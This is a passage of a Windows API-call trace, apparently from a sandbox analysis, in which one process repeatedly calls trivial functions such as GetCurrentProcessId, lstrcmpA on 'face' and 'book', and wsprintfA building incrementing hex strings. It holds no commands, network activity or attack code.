(dwErrCode=0x12) [0050.846] GetCurrentProcessId () returned 0x81c [0050.846] GetCurrentProcessId () returned 0x81c [0050.846] GetCurrentProcessId () returned 0x81c [0050.846] GetCurrentProcessId () returned 0x81c [0050.846] lstrlenA (lpString="just string") returned 11 [0050.846] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.846] GetLastError () returned 0x12 [0050.846] GetLastError () returned 0x12 [0050.846] GetCurrentProcessId () returned 0x81c [0050.846] GetCurrentProcessId () returned 0x81c [0050.846] lstrlenA (lpString="just string") returned 11 [0050.846] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.846] GetLastError () returned 0x12 [0050.846] GetCurrentProcessId () returned 0x81c [0050.846] GetCurrentProcessId () returned 0x81c [0050.846] GetCurrentProcessId () returned 0x81c [0050.846] lstrlenA (lpString="just string") returned 11 [0050.846] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.846] GetLastError () returned 0x12 [0050.846] GetCurrentProcess () returned 0xffffffff [0050.846] GetLastError () returned 0x12 [0050.846] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="203AFP") returned 6 [0050.846] SetLastError (dwErrCode=0x12) [0050.846] GetCurrentProcessId () returned 0x81c [0050.846] GetLastError () returned 0x12 [0050.846] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="203B0P") returned 6 [0050.846] SetLastError (dwErrCode=0x12) [0050.846] GetCurrentProcessId () returned 0x81c [0050.846] GetCurrentProcessId () returned 0x81c [0050.846] GetCurrentProcessId () returned 0x81c [0050.846] GetCurrentProcessId () returned 0x81c [0050.846] lstrlenA (lpString="just string") returned 11 [0050.846] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.846] GetLastError () returned 0x12 [0050.847] GetCurrentProcess () returned 0xffffffff [0050.847] GetLastError () returned 0x12 [0050.847] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="203EBP") returned 6 [0050.847] SetLastError (dwErrCode=0x12) [0050.847] GetCurrentProcessId () returned 0x81c [0050.847] GetLastError () returned 0x12 [0050.847] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="203ECP") returned 6 [0050.847] SetLastError (dwErrCode=0x12) [0050.847] GetCurrentProcessId () returned 0x81c [0050.847] GetCurrentProcessId () returned 0x81c [0050.847] GetCurrentProcessId () returned 0x81c [0050.847] GetCurrentProcessId () returned 0x81c [0050.847] lstrlenA (lpString="just string") returned 11 [0050.847] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.847] GetLastError () returned 0x12 [0050.847] GetLastError () returned 0x12 [0050.847] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0050.847] SetLastError (dwErrCode=0x12) [0050.847] GetCurrentProcess () returned 0xffffffff [0050.847] GetLastError () returned 0x12 [0050.847] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20426P") returned 6 [0050.847] SetLastError (dwErrCode=0x12) [0050.847] GetCurrentProcessId () returned 0x81c [0050.847] GetCurrentProcess () returned 0xffffffff [0050.847] GetLastError () returned 0x12 [0050.847] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20427P") returned 6 [0050.847] SetLastError (dwErrCode=0x12) [0050.847] GetCurrentProcessId () returned 0x81c [0050.847] GetLastError () returned 0x12 [0050.847] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20428P") returned 6 [0050.847] SetLastError (dwErrCode=0x12) [0050.847] GetCurrentProcessId () returned 0x81c [0050.847] GetCurrentProcessId () returned 0x81c [0050.847] GetCurrentProcessId () returned 0x81c [0050.847] GetCurrentProcessId () returned 0x81c [0050.847] lstrlenA (lpString="just string") returned 11 [0050.847] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.847] GetLastError () returned 0x12 [0050.847] lstrlenA (lpString="just string") returned 11 [0050.847] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.847] GetLastError () returned 0x12 [0050.847] GetCurrentProcessId () returned 0x81c [0050.847] lstrlenA (lpString="just string") returned 11 [0050.847] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.847] GetLastError () returned 0x12 [0050.847] GetLastError () returned 0x12 [0050.847] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0050.847] SetLastError (dwErrCode=0x12) [0050.847] GetCurrentProcess () returned 0xffffffff [0050.847] GetLastError () returned 0x12 [0050.847] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2049EP") returned 6 [0050.847] SetLastError (dwErrCode=0x12) [0050.847] GetCurrentProcessId () returned 0x81c [0050.847] GetCurrentProcess () returned 0xffffffff [0050.847] GetLastError () returned 0x12 [0050.847] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2049FP") returned 6 [0050.847] SetLastError (dwErrCode=0x12) [0050.847] GetCurrentProcessId () returned 0x81c [0050.847] GetLastError () returned 0x12 [0050.847] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="204A0P") returned 6 [0050.848] SetLastError (dwErrCode=0x12) [0050.848] GetCurrentProcessId () returned 0x81c [0050.848] GetCurrentProcessId () returned 0x81c [0050.848] GetCurrentProcessId () returned 0x81c [0050.848] GetCurrentProcessId () returned 0x81c [0050.848] lstrlenA (lpString="just string") returned 11 [0050.848] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.848] GetLastError () returned 0x12 [0050.848] GetCurrentProcess () returned 0xffffffff [0050.848] GetLastError () returned 0x12 [0050.848] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="204DBP") returned 6 [0050.848] SetLastError (dwErrCode=0x12) [0050.848] GetCurrentProcessId () returned 0x81c [0050.848] GetLastError () returned 0x12 [0050.848] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="204DCP") returned 6 [0050.848] SetLastError (dwErrCode=0x12) [0050.848] GetCurrentProcessId () returned 0x81c [0050.848] GetCurrentProcessId () returned 0x81c [0050.848] GetCurrentProcessId () returned 0x81c [0050.848] GetCurrentProcessId () returned 0x81c [0050.848] lstrlenA (lpString="just string") returned 11 [0050.848] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.848] GetLastError () returned 0x12 [0050.848] GetLastError () returned 0x12 [0050.848] lstrcmpA (lpString1="\x08", lpString2="luck") returned -1 [0050.848] SetLastError (dwErrCode=0x12) [0050.848] GetCurrentProcess () returned 0xffffffff [0050.848] GetLastError () returned 0x12 [0050.848] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="204EEP") returned 6 [0050.848] SetLastError (dwErrCode=0x12) [0050.848] GetCurrentProcessId () returned 0x81c [0050.848] GetCurrentProcess () returned 0xffffffff [0050.848] GetLastError () returned 0x12 [0050.848] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="204EFP") returned 6 [0050.848] SetLastError (dwErrCode=0x12) [0050.848] GetCurrentProcessId () returned 0x81c [0050.848] GetLastError () returned 0x12 [0050.848] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="204F0P") returned 6 [0050.848] SetLastError (dwErrCode=0x12) [0050.848] GetCurrentProcessId () returned 0x81c [0050.848] GetCurrentProcessId () returned 0x81c [0050.848] GetCurrentProcessId () returned 0x81c [0050.848] GetCurrentProcessId () returned 0x81c [0050.848] lstrlenA (lpString="just string") returned 11 [0050.848] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.848] GetLastError () returned 0x12 [0050.848] GetLastError () returned 0x12 [0050.848] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0050.848] SetLastError (dwErrCode=0x12) [0050.848] GetCurrentProcess () returned 0xffffffff [0050.848] GetLastError () returned 0x12 [0050.848] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20516P") returned 6 [0050.848] SetLastError (dwErrCode=0x12) [0050.848] GetCurrentProcessId () returned 0x81c [0050.848] GetCurrentProcess () returned 0xffffffff [0050.848] GetLastError () returned 0x12 [0050.848] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20517P") returned 6 [0050.848] SetLastError (dwErrCode=0x12) [0050.848] GetCurrentProcessId () returned 0x81c [0050.848] GetLastError () returned 0x12 [0050.848] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20518P") returned 6 [0050.849] SetLastError (dwErrCode=0x12) [0050.849] GetCurrentProcessId () returned 0x81c [0050.849] GetCurrentProcessId () returned 0x81c [0050.849] GetCurrentProcessId () returned 0x81c [0050.849] GetCurrentProcessId () returned 0x81c [0050.849] lstrlenA (lpString="just string") returned 11 [0050.849] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.849] GetLastError () returned 0x12 [0050.849] GetCurrentProcessId () returned 0x81c [0050.849] lstrlenA (lpString="just string") returned 11 [0050.849] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.849] GetLastError () returned 0x12 [0050.849] GetLastError () returned 0x12 [0050.849] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0050.849] SetLastError (dwErrCode=0x12) [0050.849] GetCurrentProcess () returned 0xffffffff [0050.849] GetLastError () returned 0x12 [0050.849] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2058EP") returned 6 [0050.849] SetLastError (dwErrCode=0x12) [0050.849] GetCurrentProcessId () returned 0x81c [0050.849] GetCurrentProcess () returned 0xffffffff [0050.849] GetLastError () returned 0x12 [0050.849] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2058FP") returned 6 [0050.849] SetLastError (dwErrCode=0x12) [0050.849] GetCurrentProcessId () returned 0x81c [0050.849] GetLastError () returned 0x12 [0050.849] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20590P") returned 6 [0050.849] SetLastError (dwErrCode=0x12) [0050.849] GetCurrentProcessId () returned 0x81c [0050.849] GetCurrentProcessId () returned 0x81c [0050.849] GetCurrentProcessId () returned 0x81c [0050.849] GetCurrentProcessId () returned 0x81c [0050.849] lstrlenA (lpString="just string") returned 11 [0050.849] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.849] GetLastError () returned 0x12 [0050.849] GetLastError () returned 0x12 [0050.849] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0050.849] SetLastError (dwErrCode=0x12) [0050.849] GetCurrentProcess () returned 0xffffffff [0050.849] GetLastError () returned 0x12 [0050.849] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="205ACP") returned 6 [0050.849] SetLastError (dwErrCode=0x12) [0050.849] GetCurrentProcessId () returned 0x81c [0050.849] GetCurrentProcess () returned 0xffffffff [0050.849] GetLastError () returned 0x12 [0050.849] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="205ADP") returned 6 [0050.849] SetLastError (dwErrCode=0x12) [0050.849] GetCurrentProcessId () returned 0x81c [0050.849] GetLastError () returned 0x12 [0050.849] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="205AEP") returned 6 [0050.849] SetLastError (dwErrCode=0x12) [0050.849] GetCurrentProcessId () returned 0x81c [0050.849] GetCurrentProcessId () returned 0x81c [0050.849] GetCurrentProcessId () returned 0x81c [0050.849] GetCurrentProcessId () returned 0x81c [0050.849] lstrlenA (lpString="just string") returned 11 [0050.849] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.849] GetLastError () returned 0x12 [0050.849] GetLastError () returned 0x12 [0050.849] GetLastError () returned 0x12 [0050.850] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0050.850] SetLastError (dwErrCode=0x12) [0050.850] GetCurrentProcess () returned 0xffffffff [0050.850] GetLastError () returned 0x12 [0050.850] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20606P") returned 6 [0050.850] SetLastError (dwErrCode=0x12) [0050.850] GetCurrentProcessId () returned 0x81c [0050.850] GetCurrentProcess () returned 0xffffffff [0050.850] GetLastError () returned 0x12 [0050.850] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20607P") returned 6 [0050.850] SetLastError (dwErrCode=0x12) [0050.850] GetCurrentProcessId () returned 0x81c [0050.850] GetLastError () returned 0x12 [0050.850] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20608P") returned 6 [0050.850] SetLastError (dwErrCode=0x12) [0050.850] GetCurrentProcessId () returned 0x81c [0050.850] GetCurrentProcessId () returned 0x81c [0050.850] GetCurrentProcessId () returned 0x81c [0050.850] GetCurrentProcessId () returned 0x81c [0050.850] lstrlenA (lpString="just string") returned 11 [0050.850] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.850] GetLastError () returned 0x12 [0050.850] GetCurrentProcess () returned 0xffffffff [0050.850] GetLastError () returned 0x12 [0050.850] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2062FP") returned 6 [0050.850] SetLastError (dwErrCode=0x12) [0050.850] GetCurrentProcessId () returned 0x81c [0050.850] GetLastError () returned 0x12 [0050.850] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20630P") returned 6 [0050.850] SetLastError (dwErrCode=0x12) [0050.850] GetCurrentProcessId () returned 0x81c [0050.850] GetCurrentProcessId () returned 0x81c [0050.850] GetCurrentProcessId () returned 0x81c [0050.850] GetCurrentProcessId () returned 0x81c [0050.850] lstrlenA (lpString="just string") returned 11 [0050.850] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.850] GetLastError () returned 0x12 [0050.850] GetCurrentProcessId () returned 0x81c [0050.850] lstrlenA (lpString="just string") returned 11 [0050.850] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.850] GetLastError () returned 0x12 [0050.850] GetLastError () returned 0x12 [0050.850] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0050.850] SetLastError (dwErrCode=0x12) [0050.850] GetCurrentProcess () returned 0xffffffff [0050.850] GetLastError () returned 0x12 [0050.850] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2066AP") returned 6 [0050.850] SetLastError (dwErrCode=0x12) [0050.850] GetCurrentProcessId () returned 0x81c [0050.850] GetCurrentProcess () returned 0xffffffff [0050.850] GetLastError () returned 0x12 [0050.850] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2066BP") returned 6 [0050.850] SetLastError (dwErrCode=0x12) [0050.850] GetCurrentProcessId () returned 0x81c [0050.850] GetLastError () returned 0x12 [0050.850] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2066CP") returned 6 [0050.850] SetLastError (dwErrCode=0x12) [0050.850] GetCurrentProcessId () returned 0x81c [0050.850] GetCurrentProcessId () returned 0x81c [0050.850] GetCurrentProcessId () returned 0x81c [0050.850] GetCurrentProcessId () returned 0x81c [0050.851] lstrlenA (lpString="just string") returned 11 [0050.851] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.851] GetLastError () returned 0x12 [0050.851] GetCurrentProcessId () returned 0x81c [0050.851] GetCurrentProcessId () returned 0x81c [0050.851] lstrlenA (lpString="just string") returned 11 [0050.851] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.851] GetLastError () returned 0x12 [0050.851] GetLastError () returned 0x12 [0050.851] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0050.851] SetLastError (dwErrCode=0x12) [0050.851] GetCurrentProcess () returned 0xffffffff [0050.851] GetLastError () returned 0x12 [0050.851] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="206B0P") returned 6 [0050.851] SetLastError (dwErrCode=0x12) [0050.851] GetCurrentProcessId () returned 0x81c [0050.851] GetCurrentProcess () returned 0xffffffff [0050.851] GetLastError () returned 0x12 [0050.851] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="206B1P") returned 6 [0050.851] SetLastError (dwErrCode=0x12) [0050.851] GetCurrentProcessId () returned 0x81c [0050.851] GetLastError () returned 0x12 [0050.851] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="206B2P") returned 6 [0050.851] SetLastError (dwErrCode=0x12) [0050.851] GetCurrentProcessId () returned 0x81c [0050.851] GetCurrentProcessId () returned 0x81c [0050.851] GetCurrentProcessId () returned 0x81c [0050.851] GetCurrentProcessId () returned 0x81c [0050.851] lstrlenA (lpString="just string") returned 11 [0050.851] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.851] GetLastError () returned 0x12 [0050.851] GetCurrentProcess () returned 0xffffffff [0050.851] GetLastError () returned 0x12 [0050.851] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="206BBP") returned 6 [0050.851] SetLastError (dwErrCode=0x12) [0050.851] GetCurrentProcessId () returned 0x81c [0050.851] GetLastError () returned 0x12 [0050.851] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="206BCP") returned 6 [0050.851] SetLastError (dwErrCode=0x12) [0050.851] GetCurrentProcessId () returned 0x81c [0050.851] GetCurrentProcessId () returned 0x81c [0050.851] GetCurrentProcessId () returned 0x81c [0050.851] GetCurrentProcessId () returned 0x81c [0050.851] lstrlenA (lpString="just string") returned 11 [0050.851] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.851] GetLastError () returned 0x12 [0050.851] lstrlenA (lpString="just string") returned 11 [0050.851] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.851] GetLastError () returned 0x12 [0050.851] GetCurrentProcess () returned 0xffffffff [0050.851] GetLastError () returned 0x12 [0050.851] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="206EDP") returned 6 [0050.851] SetLastError (dwErrCode=0x12) [0050.851] GetCurrentProcessId () returned 0x81c [0050.851] GetLastError () returned 0x12 [0050.851] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="206EEP") returned 6 [0050.851] SetLastError (dwErrCode=0x12) [0050.851] GetCurrentProcessId () returned 0x81c [0050.851] GetCurrentProcessId () returned 0x81c [0050.852] GetCurrentProcessId () returned 0x81c [0050.852] GetCurrentProcessId () returned 0x81c [0050.852] lstrlenA (lpString="just string") returned 11 [0050.852] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.852] GetLastError () returned 0x12 [0050.852] GetLastError () returned 0x12 [0050.852] GetLastError () returned 0x12 [0050.852] lstrcmpA (lpString1="\x08", lpString2="luck") returned -1 [0050.852] SetLastError (dwErrCode=0x12) [0050.852] GetCurrentProcess () returned 0xffffffff [0050.852] GetLastError () returned 0x12 [0050.852] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20750P") returned 6 [0050.852] SetLastError (dwErrCode=0x12) [0050.852] GetCurrentProcessId () returned 0x81c [0050.852] GetCurrentProcess () returned 0xffffffff [0050.852] GetLastError () returned 0x12 [0050.852] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20751P") returned 6 [0050.852] SetLastError (dwErrCode=0x12) [0050.852] GetCurrentProcessId () returned 0x81c [0050.852] GetLastError () returned 0x12 [0050.852] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20752P") returned 6 [0050.852] SetLastError (dwErrCode=0x12) [0050.852] GetCurrentProcessId () returned 0x81c [0050.852] GetCurrentProcessId () returned 0x81c [0050.852] GetCurrentProcessId () returned 0x81c [0050.852] GetCurrentProcessId () returned 0x81c [0050.852] lstrlenA (lpString="just string") returned 11 [0050.852] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.852] GetLastError () returned 0x12 [0050.852] GetCurrentProcess () returned 0xffffffff [0050.852] GetLastError () returned 0x12 [0050.852] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2078DP") returned 6 [0050.852] SetLastError (dwErrCode=0x12) [0050.852] GetCurrentProcessId () returned 0x81c [0050.852] GetLastError () returned 0x12 [0050.852] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2078EP") returned 6 [0050.852] SetLastError (dwErrCode=0x12) [0050.852] GetCurrentProcessId () returned 0x81c [0050.852] GetCurrentProcessId () returned 0x81c [0050.852] GetCurrentProcessId () returned 0x81c [0050.852] GetCurrentProcessId () returned 0x81c [0050.852] lstrlenA (lpString="just string") returned 11 [0050.852] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.852] GetLastError () returned 0x12 [0050.852] lstrlenA (lpString="just string") returned 11 [0050.852] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.852] GetLastError () returned 0x12 [0050.852] lstrlenA (lpString="just string") returned 11 [0050.852] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.852] GetLastError () returned 0x12 [0050.852] GetCurrentProcess () returned 0xffffffff [0050.852] GetLastError () returned 0x12 [0050.852] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2084BP") returned 6 [0050.852] SetLastError (dwErrCode=0x12) [0050.852] GetCurrentProcessId () returned 0x81c [0050.852] GetLastError () returned 0x12 [0050.852] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2084CP") returned 6 [0050.852] SetLastError (dwErrCode=0x12) [0050.852] GetCurrentProcessId () returned 0x81c [0050.852] GetCurrentProcessId () returned 0x81c [0050.852] GetCurrentProcessId () returned 0x81c [0050.852] GetCurrentProcessId () returned 0x81c [0050.853] lstrlenA (lpString="just string") returned 11 [0050.853] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.853] GetLastError () returned 0x12 [0050.853] GetLastError () returned 0x12 [0050.853] lstrcmpA (lpString1="\x08", lpString2="luck") returned -1 [0050.853] SetLastError (dwErrCode=0x12) [0050.853] GetCurrentProcess () returned 0xffffffff [0050.853] GetLastError () returned 0x12 [0050.853] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20872P") returned 6 [0050.853] SetLastError (dwErrCode=0x12) [0050.853] GetCurrentProcessId () returned 0x81c [0050.853] GetCurrentProcess () returned 0xffffffff [0050.853] GetLastError () returned 0x12 [0050.853] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20873P") returned 6 [0050.853] SetLastError (dwErrCode=0x12) [0050.853] GetCurrentProcessId () returned 0x81c [0050.853] GetLastError () returned 0x12 [0050.853] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20874P") returned 6 [0050.853] SetLastError (dwErrCode=0x12) [0050.853] GetCurrentProcessId () returned 0x81c [0050.853] GetCurrentProcessId () returned 0x81c [0050.853] GetCurrentProcessId () returned 0x81c [0050.853] GetCurrentProcessId () returned 0x81c [0050.853] lstrlenA (lpString="just string") returned 11 [0050.853] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.853] GetLastError () returned 0x12 [0050.853] GetCurrentProcess () returned 0xffffffff [0050.853] GetLastError () returned 0x12 [0050.853] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20887P") returned 6 [0050.853] SetLastError (dwErrCode=0x12) [0050.853] GetCurrentProcessId () returned 0x81c [0050.853] GetLastError () returned 0x12 [0050.853] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20888P") returned 6 [0050.853] SetLastError (dwErrCode=0x12) [0050.853] GetCurrentProcessId () returned 0x81c [0050.853] GetCurrentProcessId () returned 0x81c [0050.853] GetCurrentProcessId () returned 0x81c [0050.853] GetCurrentProcessId () returned 0x81c [0050.853] lstrlenA (lpString="just string") returned 11 [0050.853] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.853] GetLastError () returned 0x12 [0050.853] GetCurrentProcessId () returned 0x81c [0050.853] GetCurrentProcessId () returned 0x81c [0050.853] GetCurrentProcessId () returned 0x81c [0050.853] lstrlenA (lpString="just string") returned 11 [0050.853] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.853] GetLastError () returned 0x12 [0050.853] GetLastError () returned 0x12 [0050.853] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="208D8P") returned 6 [0050.853] SetLastError (dwErrCode=0x12) [0050.853] GetCurrentProcessId () returned 0x81c [0050.853] GetCurrentProcessId () returned 0x81c [0050.853] GetCurrentProcessId () returned 0x81c [0050.853] GetCurrentProcessId () returned 0x81c [0050.853] lstrlenA (lpString="just string") returned 11 [0050.853] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.853] GetLastError () returned 0x12 [0050.853] GetLastError () returned 0x12 [0050.853] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20914P") returned 6 [0050.853] SetLastError (dwErrCode=0x12) [0050.853] GetCurrentProcessId () returned 0x81c [0050.853] GetCurrentProcessId () returned 0x81c [0050.854] GetCurrentProcessId () returned 0x81c [0050.854] GetCurrentProcessId () returned 0x81c [0050.854] lstrlenA (lpString="just string") returned 11 [0050.854] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.854] GetLastError () returned 0x12 [0050.854] GetCurrentProcess () returned 0xffffffff [0050.854] GetLastError () returned 0x12 [0050.854] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2094FP") returned 6 [0050.854] SetLastError (dwErrCode=0x12) [0050.854] GetCurrentProcessId () returned 0x81c [0050.854] GetLastError () returned 0x12 [0050.854] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20950P") returned 6 [0050.854] SetLastError (dwErrCode=0x12) [0050.854] GetCurrentProcessId () returned 0x81c [0050.854] GetCurrentProcessId () returned 0x81c [0050.854] GetCurrentProcessId () returned 0x81c [0050.854] GetCurrentProcessId () returned 0x81c [0050.854] lstrlenA (lpString="just string") returned 11 [0050.854] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.854] GetLastError () returned 0x12 [0050.854] GetLastError () returned 0x12 [0050.854] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20982P") returned 6 [0050.854] SetLastError (dwErrCode=0x12) [0050.854] GetCurrentProcessId () returned 0x81c [0050.854] GetCurrentProcessId () returned 0x81c [0050.854] GetCurrentProcessId () returned 0x81c [0050.854] GetCurrentProcessId () returned 0x81c [0050.854] lstrlenA (lpString="just string") returned 11 [0050.854] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.854] GetLastError () returned 0x12 [0050.854] GetLastError () returned 0x12 [0050.854] lstrcmpA (lpString1="\x08", lpString2="luck") returned -1 [0050.854] SetLastError (dwErrCode=0x12) [0050.854] GetCurrentProcess () returned 0xffffffff [0050.854] GetLastError () returned 0x12 [0050.854] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="209B2P") returned 6 [0050.854] SetLastError (dwErrCode=0x12) [0050.854] GetCurrentProcessId () returned 0x81c [0050.854] GetCurrentProcess () returned 0xffffffff [0050.854] GetLastError () returned 0x12 [0050.854] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="209B3P") returned 6 [0050.854] SetLastError (dwErrCode=0x12) [0050.854] GetCurrentProcessId () returned 0x81c [0050.854] GetLastError () returned 0x12 [0050.854] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="209B4P") returned 6 [0050.854] SetLastError (dwErrCode=0x12) [0050.854] GetCurrentProcessId () returned 0x81c [0050.854] GetCurrentProcessId () returned 0x81c [0050.854] GetCurrentProcessId () returned 0x81c [0050.854] GetCurrentProcessId () returned 0x81c [0050.854] lstrlenA (lpString="just string") returned 11 [0050.854] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.854] GetLastError () returned 0x12 [0050.854] GetLastError () returned 0x12 [0050.854] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="209BEP") returned 6 [0050.854] SetLastError (dwErrCode=0x12) [0050.854] GetCurrentProcessId () returned 0x81c [0050.854] GetCurrentProcessId () returned 0x81c [0050.854] GetCurrentProcessId () returned 0x81c [0050.854] GetCurrentProcessId () returned 0x81c [0050.854] lstrlenA (lpString="just string") returned 11 [0050.854] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.855] GetLastError () returned 0x12 [0050.855] GetCurrentProcessId () returned 0x81c [0050.855] GetCurrentProcessId () returned 0x81c [0050.855] lstrlenA (lpString="just string") returned 11 [0050.855] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.855] GetLastError () returned 0x12 [0050.855] GetLastError () returned 0x12 [0050.855] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0050.855] SetLastError (dwErrCode=0x12) [0050.855] GetCurrentProcess () returned 0xffffffff [0050.855] GetLastError () returned 0x12 [0050.855] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20A34P") returned 6 [0050.855] SetLastError (dwErrCode=0x12) [0050.855] GetCurrentProcessId () returned 0x81c [0050.855] GetCurrentProcess () returned 0xffffffff [0050.855] GetLastError () returned 0x12 [0050.855] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20A35P") returned 6 [0050.855] SetLastError (dwErrCode=0x12) [0050.855] GetCurrentProcessId () returned 0x81c [0050.855] GetLastError () returned 0x12 [0050.855] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="20A36P") returned 6 [0050.855] SetLastError (dwErrCode=0x12) [0050.855] GetCurrentProcessId () returned 0x81c [0050.855] GetCurrentProcessId () returned 0x81c [0050.855] GetCurrentProcessId () returned 0x81c [0050.855] GetCurrentProcessId () returned 0x81c [0050.855] lstrlenA (lpString="just string") returned 11 [0050.855] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.855] GetLastError () returned 0x12 [0050.855] lstrlenA (lpString="just string") returned 11 [0050.855] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.855] GetLastError () returned 0x12 [0050.855] GetCurrentProcessId () returned 0x81c [0050.855] GetCurrentProcessId () returned 0x81c [0050.855] lstrlenA 